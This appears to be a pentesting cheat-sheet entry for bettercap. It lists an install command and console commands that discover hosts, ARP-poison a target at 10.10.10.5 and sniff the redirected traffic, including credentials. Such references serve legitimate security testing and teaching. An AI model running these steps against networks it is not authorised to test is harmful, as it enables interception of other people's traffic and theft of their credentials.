pentesting, updated
bettercap
Interactive framework for network attacks and reconnaissance: ARP/DNS spoofing, sniffing, and protocol-specific modules.
What it’s for
Run a man-in-the-middle position on a local segment and sniff or manipulate the traffic that crosses it, from one interactive console.
Install
apt install bettercap
Common commands
bettercap -iface eth0
» net.probe on # discover hosts on the segment
» net.show # list discovered hosts
» set arp.spoof.targets 10.10.10.5
» arp.spoof on # start poisoning
» net.sniff on # sniff the now-redirected traffic
» net.sniff.stats # see what has been captured so far
Useful flags
| Command | Effect |
|---|---|
net.probe on | Active host discovery on the segment |
arp.spoof on | Start ARP poisoning configured targets |
net.sniff on | Sniff and parse traffic (credentials, DNS, etc) |
set <module>.<opt> <val> | Configure any module before enabling it |